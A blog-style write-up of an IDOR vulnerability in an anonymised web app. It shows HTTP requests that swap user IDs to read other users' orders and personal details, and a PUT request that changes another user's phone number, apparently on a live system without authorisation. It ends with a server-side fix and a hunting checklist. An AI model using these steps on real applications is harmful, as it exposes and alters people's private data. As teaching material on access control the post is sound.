This Is How I Hacked a Web App Using IDOR

spyboy's avatarPosted by

(A Real-World Vulnerability Case Study – Educational)

Disclaimer:
This article is written purely for educational purposes.
The target application name, endpoints, IDs, and data have been intentionally anonymized.
No bug bounty was submitted, no real system was harmed, and no private data is exposed.


Introduction: The Bug That Was Hiding in Plain Sight

Not every hack starts with fancy payloads, zero-days, or advanced exploitation.

Sometimes, the most dangerous vulnerabilities exist because developers trust users too much.

This is the story of how I found and exploited an IDOR (Insecure Direct Object Reference) vulnerability in a production-grade web application—without brute force, malware, or authentication bypass.

Just logic.
Just observation.
Just one parameter.


What Is IDOR? (Quick Context)

An IDOR vulnerability occurs when:

  • An application exposes internal object references (IDs)
  • The server fails to verify ownership or authorization
  • Users can access or modify data they don’t own

Common examples:

  • /api/user?id=123
  • /orders/456
  • /invoice/789/download

If access control is missing → game over.

OWASP Category:

Broken Access Control (A01:2021)


Target Overview (Anonymized)

  • Type: Web application
  • Authentication: Email + password
  • Features:
    • User profile
    • Order history
    • Downloadable invoices
  • Tech Stack (guessed):
    • REST API
    • JSON responses
    • Likely Node.js / Django backend

Nothing fancy. That’s the point.


Phase 1: Recon – Watching the App Breathe

I logged in with a normal user account.

No admin.
No privileges.
No tricks.

First rule: Never rush to tools. Watch first.

Things I always check:

  • Network tab (DevTools)
  • API calls on page load
  • Request/response patterns
  • Numeric IDs (🚩)

And there it was.


Phase 2: The Suspicious Request

While opening My Orders, the browser sent this request:

GET /api/orders?user_id=712 HTTP/1.1
Host: example-app.com
Authorization: Bearer eyJhbGciOi...

🚨 Red Flag #1:
The backend was trusting a user_id coming from the client.


Phase 3: Testing the Assumption (Safely)

Before touching Burp, I did the safest thing:

Modified the request in browser DevTools

Changed:

"user_id": 712

To:

"user_id": 713

Sent the request again.


Phase 4: The Moment It Broke

Response:

{
  "orders": [
    {
      "order_id": 9811,
      "item": "Premium Subscription",
      "amount": "₹499",
      "status": "Paid"
    }
  ]
}

😐
This was not my order.

No error.
No access denied.
No validation.


Phase 5: Confirming the IDOR (Responsibly)

Now it was time for Burp Suite.

Tool Used:

  • Burp Suite Community
  • Repeater module

Original Request

GET /api/orders?user_id=712 HTTP/1.1
Host: example-app.com
Authorization: Bearer eyJhbGciOi...

Modified Request

GET /api/orders?user_id=714 HTTP/1.1
Host: example-app.com
Authorization: Bearer eyJhbGciOi...

Result:

✔ Orders returned
✔ Valid data
✔ No ownership check

This confirmed a classic IDOR.


Phase 6: Expanding the Impact

IDOR rarely exists in isolation.

I searched for other endpoints using the same pattern.

Found endpoints like:

GET /api/profile?user_id=712
GET /api/invoices/download?id=5512
PUT /api/profile/update


Phase 7: Full Account Data Exposure

Profile Endpoint Test

GET /api/profile?user_id=715 HTTP/1.1
Authorization: Bearer eyJhbGciOi...

Response:

{
  "name": "Hidden User",
  "email": "hidden@email.com",
  "phone": "9XXXXXXXXX",
  "address": "Private Address"
}

📉 Severity Escalation:

  • PII exposed
  • Cross-user access
  • Privacy violation

Phase 8: Write Access = Real Damage

The most dangerous test:

PUT /api/profile/update
Content-Type: application/json

{
  "user_id": 715,
  "phone": "9999999999"
}

Response:

{ "status": "updated" }

That’s it.

Unauthorized profile modification.


Real-World Impact

If exploited maliciously, this bug allows:

  • 🔓 Full account takeover (combined with password reset)
  • 📄 Access to invoices & billing info
  • 🧾 Identity theft
  • 💳 Fraud
  • 📉 Legal & compliance violations (GDPR, DPDP)

Severity:

High to Critical


Why This Bug Exists (Root Cause)

❌ What Developers Did Wrong

  • Trusted user_id from client
  • No server-side authorization
  • No object ownership validation

✅ What Should Have Been Done

Never trust client input. Ever.

Backend should enforce:

if request.user.id != requested_user_id:
    return 403

Or better:

  • Derive user ID from session/token
  • Ignore user-provided IDs entirely

How to Hunt IDOR Like This (Your Checklist)

1️⃣ Look for:

  • Numeric IDs
  • UUIDs
  • Direct object references

2️⃣ Change:

  • One digit up/down
  • Another account’s ID

3️⃣ Watch:

  • Response status
  • Data differences
  • Silent success (worst sign)

Tools Used in This Case

ToolPurpose
Browser DevToolsInitial recon
Burp SuiteRequest manipulation
RepeaterControlled testing
LogicMost important tool

Final Thoughts: Why IDOR Is a Beginner’s Goldmine

IDOR is:

  • Easy to find
  • Easy to exploit
  • Extremely impactful
  • Still everywhere in 2025

You don’t need to be elite.
You need to be curious.


Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.